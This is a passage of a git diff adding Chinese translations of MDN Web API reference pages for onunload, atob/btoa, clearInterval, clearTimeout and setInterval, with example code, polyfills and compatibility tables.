{{ languages( {"en": "en/DOM/window.onpopstate" } ) }}

diff --git a/files/zh-cn/web/api/windoweventhandlers/onunload/index.html b/files/zh-cn/web/api/windoweventhandlers/onunload/index.html new file mode 100644 index 0000000000..5e766c1d67 --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onunload/index.html @@ -0,0 +1,69 @@ +--- +title: window.onunload +slug: Web/API/Window/onunload +translation_of: Web/API/WindowEventHandlers/onunload +--- +

{{ ApiRef("HTML DOM") }}

+ +

概述

+ +

{{domxref("WindowEventHandlers")}} 的混入特性 onunload 是 {{domxref("EventHandler")}}  处理 {{Event("unload")}} 事件的方法。该事件在关闭窗口资源和内容的时候触发。页面资源的清除工作会在 unload  事件之后进行。

+ +
+

注意事项: 具备弹窗阻止功能的浏览器会忽略 onunload  事件回调中调用的 {{domxref("Window.open()")}} 方法。

+
+ +
+

onunload 特性(乃至 unload 事件本身) 并非使用 sendBeacon()的正确途径,要调用 sendBeacon() 接口,应当使用 visibilitychange 和 pagehide 事件。 参见 Beacon API is broken

+
+ +

语法

+ +
window.addEventListener("unload", function(event) { ... });
+window.onunload = function(event) { ... };
+ +

通常而言,我们推荐使用 {{domxref("EventTarget.addEventListener", "window.addEventListener()")}} 来监听 {{event("unload")}} 事件,而不是直接给 onunload 赋值。

+ +

例子

+ +
<html>
+<head>
+
+<title>onunload test</title>
+
+<script type="text/javascript">
+
+window.onunload = unloadPage;
+
+function unloadPage()
+{
+ alert("unload event detected!");
+}
+</script>
+</head>
+
+<body>
+<p>Reload a new page into the browser<br />
+ to fire the unload event for this page.</p>
+<p>You can also use the back or forward buttons<br />
+ to load a new page and fire this event.</p>
+</body>
+</html>
+
+
+ +

规范

+ +

{{ DOM0() }}

+ +

{{ languages( {"en": "en/DOM/window.onunload" } ) }}

+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowEventHandlers.onunload")}}

+ +

在 Firefox 1.5 中,页面使用此事件处理程序会阻止浏览器在 bfcache 内存中缓存页面(译者注:翻译可能没有达意,请对照英文原文)。详细信息请参阅使用 Firefox 1.5:缓存

diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html new file mode 100644 index 0000000000..2892e403d4 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html @@ -0,0 +1,78 @@ +--- +title: WindowOrWorkerGlobalScope.atob() +slug: Web/API/WindowBase64/atob +tags: + - API + - Base64 + - DOM + - WindowOrWorkerGlobalScope + - atob + - 参考 + - 方法 +translation_of: Web/API/WindowOrWorkerGlobalScope/atob +--- +

{{APIRef("HTML DOM")}}

+ +

WindowOrWorkerGlobalScope.atob() 对经过 base-64 编码的字符串进行解码。你可以使用 {{domxref("WindowBase64.btoa","window.btoa()")}} 方法来编码一个可能在传输过程中出现问题的数据,并且在接受数据之后,使用 atob() 方法再将数据解码。例如:你可以编码、传输和解码操作各种字符,比如 0-31 的 ASCII 码值。

+ +

关于针对 Unicode 或者 UTF-8 的应用方面,请查看 this note at Base64 encoding and decodingbtoa() 的备注

+ +

语法

+ +
var decodedData = scope.atob(encodedData);
+ +

异常

+ +

如果传入字符串不是有效的 base64 字符串,比如其长度不是 4 的倍数,则抛出{{jsxref("DOMException")}}。

+ +

示例

+ +
let encodedData = window.btoa("Hello, world"); // 编码
+let decodedData = window.atob(encodedData);    // 解码
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties were on the target before it).
+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.atob")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html new file mode 100644 index 0000000000..6b742198a5 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html @@ -0,0 +1,171 @@ +--- +title: WindowOrWorkerGlobalScope.btoa() +slug: Web/API/WindowBase64/btoa +tags: + - API + - Base64 + - Web + - WindowOrWorkerGlobalScope + - 参考 + - 字符串 + - 数据 + - 方法 +translation_of: Web/API/WindowOrWorkerGlobalScope/btoa +--- +

{{APIRef("HTML DOM")}}

+ +

WindowOrWorkerGlobalScope.btoa() 从 {{jsxref("String")}} 对象中创建一个 base-64 编码的 ASCII 字符串,其中字符串中的每个字符都被视为一个二进制数据字节。

+ +
+

Note: 由于这个函数将每个字符视为二进制数据的字节,而不管实际组成字符的字节数是多少,所以如果任何字符的{{Glossary("code point", "码位")}}超出 0x00 ~ 0xFF 这个范围,则会引发 InvalidCharacterError 异常。请参阅 {{anch("Unicode_字符串")}} ,该示例演示如何编码含有码位超出 0x00 ~ 0xFF 范围的字符的字符串。

+
+ +

语法

+ +
let encodedData = window.btoa(stringToEncode);
+
+ +

参数

+ +
+
stringToEncode
+
一个字符串, 其字符分别表示要编码为 ASCII 的二进制数据的单个字节。
+
+ +

返回值

+ +

一个包含 stringToEncode 的 Base64 表示的字符串。

+ +

示例

+ +
let encodedData = window.btoa("Hello, world"); // 编码
+let decodedData = window.atob(encodedData);    // 解码
+
+ +

备注

+ +

你可以使用此方法对可能导致通信问题的数据进行编码,传输,然后使用 {{domxref("WindowOrWorkerGlobalScope.atob","atob()")}} 方法再次解码数据。例如,可以编码控制字符,包括 ASCII 值为 0 到 31 的字符。

+ +

在用 JavaScript 编写 XPCOM 组件时,btoa() 方法也是可用的,虽然全局对象已经不是 {{domxref("Window")}} 了。

+ +

Unicode 字符串

+ +

在多数浏览器中,使用 btoa() 对 Unicode 字符串进行编码都会触发 InvalidCharacterError 异常。

+ +

一种选择是转义任何扩展字符,以便实际编码的字符串是原始字符的 ASCII 表示形式。考虑这个例子,代码来自 Johan Sundström

+ +
// ucs-2 string to base64 encoded ascii
+function utoa(str) {
+    return window.btoa(unescape(encodeURIComponent(str)));
+}
+// base64 encoded ascii to ucs-2 string
+function atou(str) {
+    return decodeURIComponent(escape(window.atob(str)));
+}
+// Usage:
+utoa('✓ à la mode'); // 4pyTIMOgIGxhIG1vZGU=
+atou('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
+
+utoa('I \u2661 Unicode!'); // SSDimaEgVW5pY29kZSE=
+atou('SSDimaEgVW5pY29kZSE='); // "I ♡ Unicode!"
+
+ +

更好、更可靠、性能更优异的解决方案是使用类型化数组进行转换。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#dom-btoa', 'WindowOrWorkerGlobalScope.btoa()')}}{{Spec2('HTML WHATWG')}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties where on the target before it).
+ +

Polyfill

+ +
// Polyfill from  https://github.com/MaxArt2501/base64-js/blob/master/base64.js
+(function() {
+    // base64 character set, plus padding character (=)
+    var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
+
+        // Regular expression to check formal correctness of base64 encoded strings
+        b64re = /^(?:[A-Za-z\d+\/]{4})*?(?:[A-Za-z\d+\/]{2}(?:==)?|[A-Za-z\d+\/]{3}=?)?$/;
+
+    window.btoa = window.btoa || function(string) {
+        string = String(string);
+        var bitmap, a, b, c,
+            result = "",
+            i = 0,
+            rest = string.length % 3; // To determine the final padding
+
+        for (; i < string.length;) {
+            if ((a = string.charCodeAt(i++)) > 255 ||
+                (b = string.charCodeAt(i++)) > 255 ||
+                (c = string.charCodeAt(i++)) > 255)
+                throw new TypeError("Failed to execute 'btoa' on 'Window': The string to be encoded contains characters outside of the Latin1 range.");
+
+            bitmap = (a << 16) | (b << 8) | c;
+            result += b64.charAt(bitmap >> 18 & 63) + b64.charAt(bitmap >> 12 & 63) +
+                b64.charAt(bitmap >> 6 & 63) + b64.charAt(bitmap & 63);
+        }
+
+        // If there's need of padding, replace the last 'A's with equal signs
+        return rest ? result.slice(0, rest - 3) + "===".substring(rest) : result;
+    };
+
+    window.atob = window.atob || function(string) {
+        // atob can work with strings with whitespaces, even inside the encoded part,
+        // but only \t, \n, \f, \r and ' ', which can be stripped.
+        string = String(string).replace(/[\t\n\f\r ]+/g, "");
+        if (!b64re.test(string))
+            throw new TypeError("Failed to execute 'atob' on 'Window': The string to be decoded is not correctly encoded.");
+
+        // Adding the padding if missing, for semplicity
+        string += "==".slice(2 - (string.length & 3));
+        var bitmap, result = "",
+            r1, r2, i = 0;
+        for (; i < string.length;) {
+            bitmap = b64.indexOf(string.charAt(i++)) << 18 | b64.indexOf(string.charAt(i++)) << 12 |
+                (r1 = b64.indexOf(string.charAt(i++))) << 6 | (r2 = b64.indexOf(string.charAt(i++)));
+
+            result += r1 === 64 ? String.fromCharCode(bitmap >> 16 & 255) :
+                r2 === 64 ? String.fromCharCode(bitmap >> 16 & 255, bitmap >> 8 & 255) :
+                String.fromCharCode(bitmap >> 16 & 255, bitmap >> 8 & 255, bitmap & 255);
+        }
+        return result;
+    };
+})()
+
+ +

浏览器兼容性

+ +

{{Compat("api.WindowOrWorkerGlobalScope.btoa")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html new file mode 100644 index 0000000000..9a2d6e1790 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html @@ -0,0 +1,74 @@ +--- +title: WindowTimers.clearInterval() +slug: Web/API/Window/clearInterval +tags: + - API + - WindowOrWorkerGlobalScope + - 参考 + - 方法 +translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval +--- +
{{ApiRef("HTML DOM")}}
+ +

{{domxref("WindowOrWorkerGlobalScope")}} mixin 的 clearInterval() 方法可取消先前通过 {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} 设置的重复定时任务。

+ +

语法

+ +
scope.clearInterval(intervalID)
+
+ +

Parameters

+ +
+
intervalID
+
要取消的定时器的 ID。是由 setInterval() 返回的。
+
+ +

值得一提的是,{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} 和 {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} 共用其定义的 IDs,即可以使用 clearInterval() 和 {{domxref("WindowOrWorkerGlobalScope.clearTimeout", "clearTimeout()")}} 中的任意一个。然而,为了使代码可读性更强,你应该尽量避免这种用法。

+ +

返回值

+ +

{{jsxref("undefined")}}

+ +

示例

+ +

查看 setInterval() 的示例

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'WindowOrWorkerGlobalScope.clearInterval()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'clearInterval()')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.clearInterval")}}

+ +

参见

+ +
    +
  • JavaScript 定时器
  • +
  • {{domxref("WindowOrWorkerGlobalScope.setTimeout")}}
  • +
  • {{domxref("WindowOrWorkerGlobalScope.setInterval")}}
  • +
  • {{domxref("WindowOrWorkerGlobalScope.clearTimeout")}}
  • +
  • {{domxref("Window.requestAnimationFrame")}}
  • +
  • Daemons management
  • +
diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html new file mode 100644 index 0000000000..4b20c970d7 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html @@ -0,0 +1,150 @@ +--- +title: WindowOrWorkerGlobalScope.clearTimeout() +slug: Web/API/WindowTimers/clearTimeout +tags: + - API + - WindowOrWorkerGlobalScope + - clearTimeout +translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout +--- +
+
{{APIRef("HTML DOM")}}
+
+ +

{{domxref("WindowOrWorkerGlobalScope")}}内置的clearTimeout()方法取消了先前通过调用{{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}建立的定时器。

+ +

语法

+ +
scope.clearTimeout(timeoutID)
+ + + +

Parameters

+ +
+
timeoutID
+
您要取消定时器的标识符。 该ID由相应的setTimeout()调用返回。
+
+ +

值得注意的是,{{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}和{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}使用共享的ID池, 意味着在技术上可以混用clearTimeout()和{{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} 。 但是,为了清楚起见,你应该避免这样做。

+ +

示例

+ +

在一个网页中运行如下脚本,并且点击一次页面。一秒钟后你会看见弹出一条信息。如果你在一秒内不停点击页面,弹出框将不再出现。

+ +
var alarm = {
+  remind: function(aMessage) {
+    alert(aMessage);
+    delete this.timeoutID;
+  },
+
+  setup: function() {
+    this.cancel();
+    var self = this;
+    this.timeoutID = window.setTimeout(function(msg) {self.remind(msg);}, 1000, "Wake up!");
+  },
+
+  cancel: function() {
+    if(typeof this.timeoutID == "number") {
+      window.clearTimeout(this.timeoutID);
+      delete this.timeoutID;
+    }
+  }
+};
+window.onclick = function() { alarm.setup() };
+ +

注意

+ +

传入一个错误的 ID 给 clearTimeout()不会有任何影响;也不会抛出异常。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'WindowOrWorkerGlobalScope.clearTimeout()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'clearTimeout()')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1")}}
+ {{CompatGeckoDesktop("52")}}[1]
4.04.01.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1.01.0{{CompatVersionUnknown}}{{CompatGeckoMobile("1")}}
+ {{CompatGeckoMobile("52")}}[1]
6.06.01.0
+
+ +

[1] clearTimeout() now defined on {{domxref("WindowOrWorkerGlobalScope")}} mixin.

+ +

更多

+ +
    +
  • {{domxref("WindowTimers.setTimeout()")}}
  • +
  • {{domxref("WindowTimers.setInterval()")}}
  • +
  • {{domxref("WindowTimers.clearInterval()")}}
  • +
  • {{domxref("Window.requestAnimationFrame()")}}
  • +
  • Daemons management
  • +
diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html new file mode 100644 index 0000000000..385a19b81b --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html @@ -0,0 +1,635 @@ +--- +title: window.setInterval +slug: Web/API/Window/setInterval +tags: + - API + - DOM + - 定时 + - 方法 + - 时间 +translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval +--- +
{{ ApiRef("HTML DOM") }}
+ +

{{domxref("WindowOrWorkerGlobalScope")}} 的 setInterval() 方法重复调用一个函数或执行一个代码段,在每次调用之间具有固定的时间延迟。

+ +

在窗口和工作接口上提供的setInterval()方法重复调用函数或执行代码片段,每次调用之间有固定的时间延迟。它返回一个时间间隔ID,该ID唯一地标识时间间隔,因此您可以稍后通过调用clearInterval()来删除它。这个方法是由WindowOrWorkerGlobalScope mixin定义的。

+ +

语法

+ +
var intervalID = scope.setInterval(func, delay, [arg1, arg2, ...]);
+var intervalID = scope.setInterval(code, delay);
+
+ +

参数

+ +
+
func
+
要重复调用的函数。 每经过指定 延迟 毫秒后执行的{{jsxref("函数")}} 。该函数不接受任何参数,也没有返回值。
+
code
+
这个语法是可选的,你可以传递一个字符串来代替一个函数对象,你传递的字符串会被编译然后每个delay毫秒时间内执行一次。这个语法因为存在安全风险所以不被推荐使用。
+
delay
+
是每次延迟的毫秒数 (一秒等于1000毫秒),函数的每次调用会在该延迟之后发生。和setTimeout一样,实际的延迟时间可能会稍长一点。这个时间计算单位是毫秒(千分之一秒),这个定时器会使指定方法或者代码段执行的时候进行时间延迟。如果这个参数值小于10,则默认使用值为10。请注意,真正延迟时间或许更长; 请参考示例: {{SectionOnPage("/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout", "Reasons for delays longer than specified")}} 
+
arg1, ..., argN {{optional_inline}}
+
当定时器过期的时候,将被传递给func指定函数的附加参数。
+
+ +

返回值

+ +

此返回值intervalID是一个非零数值,用来标识通过setInterval()创建的计时器,这个值可以用来作为clearInterval()的参数来清除对应的计时器 。

+ +

值得注意的是,setInterval()setTimeout()共享同一个ID池,并且clearInterval()clearTimeout()在技术上是可互换使用的。但是,我们必须去匹配clearInterval()clearTimeout()对应的id,以避免代码杂乱无章,增强代码的可维护性。

+ +
Note: The delay argument is converted to a signed 32-bit integer. This effectively limits delay to 2147483647 ms, since it's specified as a signed integer in the IDL.
+ +

示例

+ +

例1:基本用法

+ +

下面例子是 setInterval()的基本语法

+ +
var intervalID = window.setInterval(myCallback, 500, 'Parameter 1', 'Parameter 2');
+
+function myCallback(a, b)
+{
+ // Your code here
+ // Parameters are purely optional.
+ console.log(a);
+ console.log(b);
+}
+
+ +

例2:两种颜色的切换

+ +

下面的例子里会每隔一秒就调用函数 flashtext() 一次,直至你通过按下 Stop 按钮来清除本次重复操作的唯一辨识符 intervalID

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="UTF-8" />
+  <title>setInterval/clearInterval example</title>
+
+  <script>
+    var nIntervId;
+
+    function changeColor() {
+      nIntervId = setInterval(flashText, 1000);
+    }
+
+    function flashText() {
+      var oElem = document.getElementById('my_box');
+      oElem.style.color = oElem.style.color == 'red' ? 'blue' : 'red';
+      // oElem.style.color == 'red' ? 'blue' : 'red' is a ternary operator.
+    }
+
+    function stopTextColor() {
+      clearInterval(nIntervId);
+    }
+  </script>
+</head>
+
+<body onload="changeColor();">
+  <div id="my_box">
+    <p>Hello World</p>
+  </div>
+
+  <button onclick="stopTextColor();">Stop</button>
+</body>
+</html>
+
+ +

例3:打字机效果

+ +

下面这个例子通过键入、删除和再次键入所有 NodeList 中的符合特定的选择器的字符,以达到打字机的效果。

+ +
+
<!DOCTYPE html>
+<html>
+<head>
+<meta charset="UTF-8" />
+<title>JavaScript Typewriter - MDN Example</title>
+<script>
+function Typewriter (sSelector, nRate) {
+
+  function clean () {
+    clearInterval(nIntervId);
+    bTyping = false;
+    bStart = true;
+    oCurrent = null;
+    aSheets.length = nIdx = 0;
+  }
+
+  function scroll (oSheet, nPos, bEraseAndStop) {
+    if (!oSheet.hasOwnProperty("parts") || aMap.length < nPos) { return true; }
+
+    var oRel, bExit = false;
+
+    if (aMap.length === nPos) { aMap.push(0); }
+
+    while (aMap[nPos] < oSheet.parts.length) {
+      oRel = oSheet.parts[aMap[nPos]];
+
+      scroll(oRel, nPos + 1, bEraseAndStop) ? aMap[nPos]++ : bExit = true;
+
+      if (bEraseAndStop && (oRel.ref.nodeType - 1 | 1) === 3 && oRel.ref.nodeValue) {
+        bExit = true;
+        oCurrent = oRel.ref;
+        sPart = oCurrent.nodeValue;
+        oCurrent.nodeValue = "";
+      }
+
+      oSheet.ref.appendChild(oRel.ref);
+      if (bExit) { return false; }
+    }
+
+    aMap.length--;
+    return true;
+  }
+
+  function typewrite () {
+    if (sPart.length === 0 && scroll(aSheets[nIdx], 0, true) && nIdx++ === aSheets.length - 1) { clean(); return; }
+
+    oCurrent.nodeValue += sPart.charAt(0);
+    sPart = sPart.slice(1);
+  }
+
+  function Sheet (oNode) {
+    this.ref = oNode;
+    if (!oNode.hasChildNodes()) { return; }
+    this.parts = Array.prototype.slice.call(oNode.childNodes);
+
+    for (var nChild = 0; nChild < this.parts.length; nChild++) {
+      oNode.removeChild(this.parts[nChild]);
+      this.parts[nChild] = new Sheet(this.parts[nChild]);
+    }
+  }
+
+  var
+    nIntervId, oCurrent = null, bTyping = false, bStart = true,
+    nIdx = 0, sPart = "", aSheets = [], aMap = [];
+
+  this.rate = nRate || 100;
+
+  this.play = function () {
+    if (bTyping) { return; }
+    if (bStart) {
+      var aItems = document.querySelectorAll(sSelector);
+
+      if (aItems.length === 0) { return; }
+      for (var nItem = 0; nItem < aItems.length; nItem++) {
+        aSheets.push(new Sheet(aItems[nItem]));
+        /* Uncomment the following line if you have previously hidden your elements via CSS: */
+        // aItems[nItem].style.visibility = "visible";
+      }
+
+      bStart = false;
+    }
+
+    nIntervId = setInterval(typewrite, this.rate);
+    bTyping = true;
+  };
+
+  this.pause = function () {
+    clearInterval(nIntervId);
+    bTyping = false;
+  };
+
+  this.terminate = function () {
+    oCurrent.nodeValue += sPart;
+    sPart = "";
+    for (nIdx; nIdx < aSheets.length; scroll(aSheets[nIdx++], 0, false));
+    clean();
+  };
+}
+
+/* usage: */
+var oTWExample1 = new Typewriter(/* elements: */ "#article, h1, #info, #copyleft", /* frame rate (optional): */ 15);
+
+/* default frame rate is 100: */
+var oTWExample2 = new Typewriter("#controls");
+
+/* you can also change the frame rate value modifying the "rate" property; for example: */
+// oTWExample2.rate = 150;
+
+onload = function () {
+  oTWExample1.play();
+  oTWExample2.play();
+};
+</script>
+<style type="text/css">
+span.intLink, a, a:visited {
+  cursor: pointer;
+  color: #000000;
+  text-decoration: underline;
+}
+
+#info {
+  width: 180px;
+  height: 150px;
+  float: right;
+  background-color: #eeeeff;
+  padding: 4px;
+  overflow: auto;
+  font-size: 12px;
+  margin: 4px;
+  border-radius: 5px;
+  /* visibility: hidden; */
+}
+</style>
+</head>
+
+<body>
+
+<p id="copyleft" style="font-style: italic; font-size: 12px; text-align: center;">CopyLeft 2012 by <a href="https://developer.mozilla.org/" target="_blank">Mozilla Developer Network</a></p>
+<p id="controls" style="text-align: center;">[&nbsp;<span class="intLink" onclick="oTWExample1.play();">Play</span> | <span class="intLink" onclick="oTWExample1.pause();">Pause</span> | <span class="intLink" onclick="oTWExample1.terminate();">Terminate</span>&nbsp;]</p>
+<div id="info">
+Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt.
+</div>
+<h1>JavaScript Typewriter</h1>
+
+<div id="article">
+<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.</p>
+<form>
+<p>Phasellus ac nisl lorem: <input type="text" /><br />
+<textarea style="width: 400px; height: 200px;">Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.</textarea></p>
+<input type="submit" value="Send" />
+</form>
+<p>Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibStartum quis. Cras adipiscing ultricies fermentum. Praesent bibStartum condimentum feugiat.</p>
+<p>Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.</p>
+</div>
+</body>
+</html>
+
+ +

查看示例效果,亦可参考:clearInterval()

+ +

回调参数

+ +

如前所述,Internet Explorer 9及以下版本不支持在setTimeout()setInterval()中向回调函数传递参数。下面的IE专用代码演示了一种克服这种限制的方法。使用时,只需将以下代码添加到你的脚本顶部即可。

+ +
/*\
+|*|
+|*|  IE-specific polyfill that enables the passage of arbitrary arguments to the
+|*|  callback functions of javascript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay[, arg1, arg2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, arg1, arg2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+if (document.all && !window.setTimeout.isPolyfill) {
+  var __nativeST__ = window.setTimeout;
+  window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeST__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setTimeout.isPolyfill = true;
+}
+
+if (document.all && !window.setInterval.isPolyfill) {
+  var __nativeSI__ = window.setInterval;
+  window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeSI__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setInterval.isPolyfill = true;
+}
+
+ +

另一种方式是使用匿名函数调用你的回调函数,但是这种方式开销较大。例如:

+ +
var intervalID = setInterval(function() { myFunc('one', 'two', 'three'); }, 1000);
+ +

还有一种方式是使用 function's bind. 例如:

+ +
var intervalID = setInterval(function(arg1) {}.bind(undefined, 10), 1000);
+ +

{{h3_gecko_minversion("Inactive tabs", "5.0")}}

+ +

Starting in Gecko 5.0 {{geckoRelease("5.0")}}, intervals are clamped to fire no more often than once per second in inactive tabs.

+ +

"this" 的问题

+ +

当你给 setInterval() 传递一个方法或者函数的时候,this 值的绑定会存在一些问题。  这个问题在JavaScript 参考 进行了详细解释。

+ +

解释

+ +

Code executed by setInterval() runs in a separate execution context than the function from which it was called. As a consequence, the this keyword for the called function is set to the window (or global) object, it is not the same as the this value for the function that called setTimeout. See the following example (which uses setTimeout() instead of setInterval() – the problem, in fact, is the same for both timers):

+ +
myArray = ['zero', 'one', 'two'];
+
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
+setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1,5 seconds
+// passing the 'this' object with .call won't work
+// because this will change the value of this inside setTimeout itself
+// while we want to change the value of this inside myArray.myMethod
+// in fact, it will be an error because setTimeout code expects this to be the window object:
+setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+
